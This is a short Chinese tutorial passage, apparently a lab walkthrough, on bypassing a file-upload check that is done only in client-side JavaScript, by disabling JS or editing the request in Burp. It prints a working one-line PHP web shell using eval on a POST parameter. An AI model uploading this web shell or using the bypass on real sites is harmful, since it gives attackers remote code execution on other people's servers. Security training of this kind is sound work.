马上传专题

文件上传——不为人知的木马上传大法

文件上传第一式(禁JS) (1)来到第一关,我们查看源代码: 上图可以发现,上传的限制代码块写在js函数内,因此我们可以考虑将js的开关禁掉,直接上传木马的方式,其实,似乎也可以不禁js,直接burp抓包后修改图片类型,一样可以上传成功。   (2)上传一句话木马.php,发现直接上传成功,然后在页面进行复制图像地址,可以查看到上传的 <?php eval($_POST['kkk']);?>